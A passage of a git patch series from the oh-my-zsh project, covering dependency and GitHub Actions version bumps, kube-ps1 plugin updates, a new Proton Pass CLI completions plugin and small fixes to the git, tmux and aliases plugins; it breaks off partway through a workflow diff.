From 1381fec0bfd0f0bb0eab9e587b0c843f78744886 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 11 May 2026 11:00:05 +0200 Subject: [PATCH 01/25] chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /.github/workflows/dependencies (#13738) Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.6.3 to 2.7.0. - [Release notes](https://github.com/urllib3/urllib3/releases) - [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst) - [Commits](https://github.com/urllib3/urllib3/compare/2.6.3...2.7.0) --- updated-dependencies: - dependency-name: urllib3 dependency-version: 2.7.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/dependencies/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dependencies/requirements.txt b/.github/workflows/dependencies/requirements.txt index 61e06597c..1c414449f 100644 --- a/.github/workflows/dependencies/requirements.txt +++ b/.github/workflows/dependencies/requirements.txt @@ -4,4 +4,4 @@ idna==3.13 PyYAML==6.0.3 requests==2.33.1 semver==3.0.4 -urllib3==2.6.3 +urllib3==2.7.0 From a07126330b9f56f12f1e00ddd29786d35d6e64d9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 11 May 2026 11:00:26 +0200 Subject: [PATCH 02/25] chore(deps): bump github/codeql-action from 4.35.3 to 4.35.4 (#13737) Bumps [github/codeql-action](https://github.com/github/codeql-action) from 4.35.3 to 4.35.4. - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/github/codeql-action/compare/e46ed2cbd01164d986452f91f178727624ae40d7...68bde559dea0fdcac2102bfdf6230c5f70eb485e) --- updated-dependencies: - dependency-name: github/codeql-action dependency-version: 4.35.4 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index b7f385ed7..ece3ae11e 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@e46ed2cbd01164d986452f91f178727624ae40d7 # v4.35.3 + uses: github/codeql-action/upload-sarif@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4 with: sarif_file: results.sarif From 7478f1fd22a18c1b857655c4467ca79ba44e9dfa Mon Sep 17 00:00:00 2001 From: "ohmyzsh[bot]" <54982679+ohmyzsh[bot]@users.noreply.github.com> Date: Sun, 17 May 2026 11:58:14 +0200 Subject: [PATCH 03/25] chore(kube-ps1): update to 7d575c6d (#13750) Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com> --- .github/dependencies.yml | 2 +- plugins/kube-ps1/README.md | 23 ++++++++++++++++++----- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/.github/dependencies.yml b/.github/dependencies.yml index b59cf9ed0..254196920 100644 --- a/.github/dependencies.yml +++ b/.github/dependencies.yml @@ -30,7 +30,7 @@ dependencies: plugins/kube-ps1: repo: jonmosco/kube-ps1 branch: master - version: e19c9ee867c5655814c384a6bf543e330e6ef1b7 + version: 7d575c6d53f60130159a3db28e33d2967201cd64 precopy: | set -e find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete diff --git a/plugins/kube-ps1/README.md b/plugins/kube-ps1/README.md index ef6d781ad..5ab059354 100644 --- a/plugins/kube-ps1/README.md +++ b/plugins/kube-ps1/README.md @@ -1,10 +1,9 @@ -# kube-ps1: Kubernetes prompt for bash and zsh +# kube-ps1: Kubernetes prompt for bash, zsh, and fish ![GitHub Release](https://img.shields.io/github/v/release/jonmosco/kube-ps1) [![CI](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml/badge.svg)](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml) -A script that lets you add the current Kubernetes context and namespace -configured on `kubectl` to your Bash/Zsh prompt strings (i.e. the `$PS1`). +A script that lets you add the current Kubernetes context and namespace configured on `kubectl` to your Bash, Zsh, or Fish prompt. Inspired by several tools used to simplify usage of `kubectl`. @@ -77,6 +76,21 @@ source /path/to/kube-ps1.sh PS1='[\u@\h \W $(kube_ps1)]\$ ' ``` +#### Fish + +Add this to `~/.config/fish/config.fish`: + +```fish +source /path/to/kube-ps1.fish + +function fish_prompt + echo -n (kube_ps1) ' ' + # your existing prompt here +end +``` + +> Note: Fish users should source `kube-ps1.fish` instead of `kube-ps1.sh`. + ## Requirements The default prompt assumes you have the `kubectl` command line utility installed. @@ -184,8 +198,7 @@ If the font is not properly installed, and the glyph is not available, it will d ## Customization -The default settings can be overridden in `~/.bashrc` or `~/.zshrc` by setting -the following variables: +The default settings can be overridden in `~/.bashrc`, `~/.zshrc`, or `~/.config/fish/config.fish` by setting the following variables: | Variable | Default | Meaning | | :------- | :-----: | ------- | From c4e39ad56b0108dbc5857199cef457c68e298b86 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 May 2026 08:43:53 +0200 Subject: [PATCH 04/25] chore(deps): bump actions/create-github-app-token from 3.1.1 to 3.2.0 (#13753) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/project.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index c8a8982b6..b54781da7 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -26,7 +26,7 @@ jobs: fetch-depth: 0 - name: Authenticate as @ohmyzsh id: generate-token - uses: actions/create-github-app-token@1b10c78c7865c340bc4f6099eb2f838309f1e8c3 # v3.1.1 + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 with: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index f943842af..35ffc375c 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -22,7 +22,7 @@ jobs: egress-policy: audit - name: Authenticate as @ohmyzsh id: generate-token - uses: actions/create-github-app-token@1b10c78c7865c340bc4f6099eb2f838309f1e8c3 # v3.1.1 + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 with: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} From 80a6f169c76ceac9c0f8de0b54e8637da257bd82 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 May 2026 08:44:05 +0200 Subject: [PATCH 05/25] chore(deps): bump requests from 2.33.1 to 2.34.2 in /.github/workflows/dependencies (#13752) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dependencies/requirements.txt b/.github/workflows/dependencies/requirements.txt index 1c414449f..bbe09f649 100644 --- a/.github/workflows/dependencies/requirements.txt +++ b/.github/workflows/dependencies/requirements.txt @@ -2,6 +2,6 @@ certifi==2026.4.22 charset-normalizer==3.4.7 idna==3.13 PyYAML==6.0.3 -requests==2.33.1 +requests==2.34.2 semver==3.0.4 urllib3==2.7.0 From 8d0ff417c36777f326ac96ef386bd64d5b61de54 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 May 2026 08:44:28 +0200 Subject: [PATCH 06/25] chore(deps): bump github/codeql-action from 4.35.4 to 4.35.5 (#13751) Signed-off-by: dependabot[bot] --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index ece3ae11e..62b446088 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4 + uses: github/codeql-action/upload-sarif@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v4.35.5 with: sarif_file: results.sarif From c68e752b1bdaac8fd8817a9611adf3ec7bb00580 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 May 2026 08:44:51 +0200 Subject: [PATCH 07/25] chore(deps): bump idna from 3.13 to 3.15 in /.github/workflows/dependencies (#13754) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dependencies/requirements.txt b/.github/workflows/dependencies/requirements.txt index bbe09f649..fe379aaae 100644 --- a/.github/workflows/dependencies/requirements.txt +++ b/.github/workflows/dependencies/requirements.txt @@ -1,6 +1,6 @@ certifi==2026.4.22 charset-normalizer==3.4.7 -idna==3.13 +idna==3.15 PyYAML==6.0.3 requests==2.34.2 semver==3.0.4 From efd6135bf557a1b984a013b822eebda3c7a4722d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 May 2026 08:45:12 +0200 Subject: [PATCH 08/25] chore(deps): bump step-security/harden-runner from 2.19.1 to 2.19.3 (#13755) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/installer.yml | 4 ++-- .github/workflows/main.yml | 2 +- .github/workflows/project.yml | 2 +- .github/workflows/scorecard.yml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index b54781da7..27bc366b7 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -16,7 +16,7 @@ jobs: contents: write # this is needed to push commits and branches steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index 6431134c1..75e5b4886 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -26,7 +26,7 @@ jobs: - macos-latest steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit @@ -47,7 +47,7 @@ jobs: - test steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 1356bcd4e..ce74395b5 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -24,7 +24,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index 35ffc375c..74d11c257 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -17,7 +17,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit - name: Authenticate as @ohmyzsh diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 62b446088..01e8a7fbd 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -36,7 +36,7 @@ jobs: steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 with: egress-policy: audit From 24959d58176edd32acb6db45240b3b178a1c9887 Mon Sep 17 00:00:00 2001 From: "Kaspar V." Date: Mon, 18 May 2026 08:47:51 +0200 Subject: [PATCH 09/25] feat(pass-cli): add completions plugin (#13740) --- plugins/pass-cli/README.md | 11 +++++++++++ plugins/pass-cli/pass-cli.plugin.zsh | 14 ++++++++++++++ 2 files changed, 25 insertions(+) create mode 100644 plugins/pass-cli/README.md create mode 100644 plugins/pass-cli/pass-cli.plugin.zsh diff --git a/plugins/pass-cli/README.md b/plugins/pass-cli/README.md new file mode 100644 index 000000000..0c126a26f --- /dev/null +++ b/plugins/pass-cli/README.md @@ -0,0 +1,11 @@ +# Proton Pass CLI plugin + +This plugin adds completions for [Proton Pass CLI](https://protonpass.github.io/pass-cli/). + +To use it, add `pass-cli` to the plugins array in your zshrc file: + +```zsh +plugins=(... pass-cli) +``` + +This plugin does not add any aliases. diff --git a/plugins/pass-cli/pass-cli.plugin.zsh b/plugins/pass-cli/pass-cli.plugin.zsh new file mode 100644 index 000000000..b613ecf3a --- /dev/null +++ b/plugins/pass-cli/pass-cli.plugin.zsh @@ -0,0 +1,14 @@ +# Autocompletion for Proton Pass CLI (pass-cli) +if (( ! $+commands[pass-cli] )); then + return +fi + +# If the completion file doesn't exist yet, we need to autoload it and +# bind it to `pass-cli`. Otherwise, compinit will have already done that. +if [[ ! -f "$ZSH_CACHE_DIR/completions/_pass-cli" ]]; then + typeset -g -A _comps + autoload -Uz _pass-cli + _comps[pass-cli]=_pass-cli +fi + +pass-cli completions zsh >| "$ZSH_CACHE_DIR/completions/_pass-cli" &| From 2a5313a9d0f3deb6ee37f94c9df9a724c51c082f Mon Sep 17 00:00:00 2001 From: rock2z <44712825+rock2z@users.noreply.github.com> Date: Mon, 18 May 2026 14:51:23 +0800 Subject: [PATCH 10/25] docs(git): document missing aliases (#13742) --- plugins/git/README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/plugins/git/README.md b/plugins/git/README.md index 0090fa6cf..c0a651375 100644 --- a/plugins/git/README.md +++ b/plugins/git/README.md @@ -181,6 +181,8 @@ plugins=(... git) | `grst` | `git restore --staged` | | `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` | | `grev` | `git revert` | +| `greva` | `git revert --abort` | +| `grevc` | `git revert --continue` | | `grm` | `git rm` | | `grmc` | `git rm --cached` | | `gcount` | `git shortlog --summary -n` | @@ -215,6 +217,7 @@ plugins=(... git) | `gunignore` | `git update-index --no-assume-unchanged` | | `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` | | `gwt` | `git worktree` | +| `gwta` | `git worktree add` | | `gwtls` | `git worktree list` | | `gwtmv` | `git worktree move` | | `gwtrm` | `git worktree remove` | From 0eecd2821e6dafbe0025d2003f9dc8959851c47a Mon Sep 17 00:00:00 2001 From: Masaru Iritani <25241373+masaru-iritani@users.noreply.github.com> Date: Mon, 18 May 2026 15:51:48 +0900 Subject: [PATCH 11/25] fix(tmux): respect ZSH_TMUX_UNICODE in tds (#13741) --- plugins/tmux/tmux.plugin.zsh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/plugins/tmux/tmux.plugin.zsh b/plugins/tmux/tmux.plugin.zsh index c501ad701..651e72459 100644 --- a/plugins/tmux/tmux.plugin.zsh +++ b/plugins/tmux/tmux.plugin.zsh @@ -183,7 +183,10 @@ function _tmux_directory_session() { # human friendly unique session name for this directory local session_name="${dir}-${md5:0:6}" # create or attach to the session - tmux new -As "$session_name" + local -a tmux_cmd + tmux_cmd=(command tmux) + [[ "$ZSH_TMUX_UNICODE" == "true" ]] && tmux_cmd+=(-u) + $tmux_cmd new -As "$session_name" } alias tds=_tmux_directory_session From cb64103161b69d59e1efefeb761ac85564c44698 Mon Sep 17 00:00:00 2001 From: Md Mushfiqur Rahim <20mahin2020@gmail.com> Date: Mon, 18 May 2026 13:00:15 +0600 Subject: [PATCH 12/25] fix(aliases): preserve trailing double quotes in als output (#13744) Co-authored-by: Codebuff Contributor --- plugins/aliases/cheatsheet.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/plugins/aliases/cheatsheet.py b/plugins/aliases/cheatsheet.py index 61bf5f956..d4e35c4ee 100644 --- a/plugins/aliases/cheatsheet.py +++ b/plugins/aliases/cheatsheet.py @@ -6,7 +6,9 @@ import argparse def parse(line): left = line[0:line.find('=')].strip() - right = line[line.find('=')+1:].strip('\'"\n ') + right = line[line.find('=')+1:].strip('\n ') + if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"': + right = right[1:-1] try: cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0) except StopIteration: From 43c68566be2cddd094bd2228a053769107c8a47f Mon Sep 17 00:00:00 2001 From: "ohmyzsh[bot]" <54982679+ohmyzsh[bot]@users.noreply.github.com> Date: Sun, 24 May 2026 07:16:13 +0000 Subject: [PATCH 13/25] chore(kube-ps1): update to 04af46f7 --- .github/dependencies.yml | 2 +- plugins/kube-ps1/kube-ps1.plugin.zsh | 72 +++++++++++++++++----------- 2 files changed, 44 insertions(+), 30 deletions(-) diff --git a/.github/dependencies.yml b/.github/dependencies.yml index 254196920..6ae21ed2a 100644 --- a/.github/dependencies.yml +++ b/.github/dependencies.yml @@ -30,7 +30,7 @@ dependencies: plugins/kube-ps1: repo: jonmosco/kube-ps1 branch: master - version: 7d575c6d53f60130159a3db28e33d2967201cd64 + version: 04af46f7fe888ad287abcab6699b9bb10234bc3d precopy: | set -e find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete diff --git a/plugins/kube-ps1/kube-ps1.plugin.zsh b/plugins/kube-ps1/kube-ps1.plugin.zsh index f59b92df9..6d81e4832 100644 --- a/plugins/kube-ps1/kube-ps1.plugin.zsh +++ b/plugins/kube-ps1/kube-ps1.plugin.zsh @@ -49,7 +49,7 @@ _kube_ps1_shell_type() { elif [ "${BASH_VERSION-}" ]; then _KUBE_PS1_SHELL_TYPE="bash" fi - echo $_KUBE_PS1_SHELL_TYPE + echo "$_KUBE_PS1_SHELL_TYPE" } _kube_ps1_init() { @@ -65,6 +65,15 @@ _kube_ps1_init() { _KUBE_PS1_TPUT_AVAILABLE=false fi + # Detect stat type once (not needed for zsh which uses zstat builtin) + if [[ "${_KUBE_PS1_SHELL}" != "zsh" ]]; then + if stat -c "%s" /dev/null &> /dev/null; then + _KUBE_PS1_STAT_TYPE="gnu" + else + _KUBE_PS1_STAT_TYPE="bsd" + fi + fi + case "${_KUBE_PS1_SHELL}" in "zsh") _KUBE_PS1_OPEN_ESC="%{" @@ -98,8 +107,8 @@ _kube_ps1_color_fg() { magenta) _KUBE_PS1_FG_CODE=5;; cyan) _KUBE_PS1_FG_CODE=6;; white) _KUBE_PS1_FG_CODE=7;; - # 256 - [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_FG_CODE="${1}";; + # 256 colors + [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_FG_CODE="${1}";; *) _KUBE_PS1_FG_CODE=default esac @@ -111,7 +120,7 @@ _kube_ps1_color_fg() { elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then _KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")" - elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 256 ]]; then + elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 255 ]]; then _KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m" else _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}" @@ -131,20 +140,20 @@ _kube_ps1_color_bg() { magenta) _KUBE_PS1_BG_CODE=5;; cyan) _KUBE_PS1_BG_CODE=6;; white) _KUBE_PS1_BG_CODE=7;; - # 256 - [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_BG_CODE="${1}";; - *) _KUBE_PS1_BG_CODE=$'\033[0m';; + # 256 colors + [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_BG_CODE="${1}";; + *) _KUBE_PS1_BG_CODE=default esac if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then - _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_BG}" + _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}" return elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then _KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}" elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then _KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")" - elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 256 ]]; then + elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 255 ]]; then _KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m" else _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}" @@ -154,7 +163,7 @@ _kube_ps1_color_bg() { } _kube_ps1_binary_check() { - command -v $1 >/dev/null + command -v "$1" >/dev/null } _kube_ps1_symbol() { @@ -171,6 +180,7 @@ _kube_ps1_symbol() { local oc_glyph=$'\ue7b7' local oc_symbol_color=red local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}" + local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}" # Choose the symbol based on the provided argument or environment variable case "${symbol_arg}" in @@ -225,15 +235,27 @@ _kube_ps1_file_newer_than() { if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then # Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2) mtime=$(zstat -L +mtime -F %s.%s "${file}") - elif stat -c "%s" /dev/null &> /dev/null; then - # GNU stat + elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then mtime=$(stat -L -c %Y "${file}") else - # BSD stat mtime=$(stat -L -f %m "$file") fi - [[ "${mtime}" -gt "${check_time}" ]] + [[ "${mtime}" -gt "${check_time}" ]] && return 0 + + # If the path is a symlink, also check the symlink's own mtime + if [[ -L "${file}" ]]; then + if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then + mtime=$(zstat +mtime -F %s.%s "${file}") + elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then + mtime=$(stat -c %Y "${file}") + else + mtime=$(stat -f %m "$file") + fi + [[ "${mtime}" -gt "${check_time}" ]] && return 0 + fi + + return 1 } _kube_ps1_prompt_update() { @@ -280,7 +302,6 @@ _kube_ps1_prompt_update() { _kube_ps1_get_context() { if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)" - # Set namespace to 'N/A' if it is not defined KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}" if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then @@ -303,7 +324,7 @@ _kube_ps1_get_ns() { _kube_ps1_get_context_ns() { # Set the command time if [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then - if ((BASH_VERSINFO[0] >= 4 && BASH_VERSINFO[1] >= 2)); then + if ((BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 2))); then _KUBE_PS1_LAST_TIME=$(printf '%(%s)T') else _KUBE_PS1_LAST_TIME=$(date +%s) @@ -312,9 +333,6 @@ _kube_ps1_get_context_ns() { _KUBE_PS1_LAST_TIME=$EPOCHREALTIME fi - KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}" - KUBE_PS1_NAMESPACE="${KUBE_PS1_NAMESPACE:-N/A}" - # Cache which cfgfiles we can read in case they change. local conf _KUBE_PS1_CFGFILES_READ_CACHE= @@ -358,12 +376,13 @@ EOF kubeon() { if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then _kubeon_usage + return 0 elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then rm -f -- "${_KUBE_PS1_DISABLE_PATH}" elif [[ "$#" -ne 0 ]]; then - echo -e "error: unrecognized flag ${1}\\n" + echo -e "error: unrecognized flag ${1}\\n" >&2 _kubeon_usage - return + return 1 fi KUBE_PS1_ENABLED=on @@ -372,13 +391,14 @@ kubeon() { kubeoff() { if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then _kubeoff_usage + return 0 elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")" touch -- "${_KUBE_PS1_DISABLE_PATH}" elif [[ $# -ne 0 ]]; then - echo "error: unrecognized flag ${1}" >&2 + echo -e "error: unrecognized flag ${1}\\n" >&2 _kubeoff_usage - return + return 1 fi KUBE_PS1_ENABLED=off @@ -390,15 +410,9 @@ kube_ps1() { [[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return [[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return - local KUBE_PS1 local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}" - # If background color is set, reset color should also reset the background - # if [[ -n "${KUBE_PS1_BG_COLOR}" ]]; then - # KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_DEFAULT_BG}${_KUBE_PS1_CLOSE_ESC}" - # fi - # Background Color [[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")" From d6332707847ab2d23c196395c787a79946b1fac3 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 26 May 2026 10:12:19 +0200 Subject: [PATCH 14/25] chore(deps): bump step-security/harden-runner from 2.19.3 to 2.19.4 (#13768) Signed-off-by: dependabot[bot] --- .github/workflows/dependencies.yml | 2 +- .github/workflows/installer.yml | 4 ++-- .github/workflows/main.yml | 2 +- .github/workflows/project.yml | 2 +- .github/workflows/scorecard.yml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index 27bc366b7..7dd5065d8 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -16,7 +16,7 @@ jobs: contents: write # this is needed to push commits and branches steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index 75e5b4886..d306f170d 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -26,7 +26,7 @@ jobs: - macos-latest steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit @@ -47,7 +47,7 @@ jobs: - test steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index ce74395b5..d452123ef 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -24,7 +24,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: 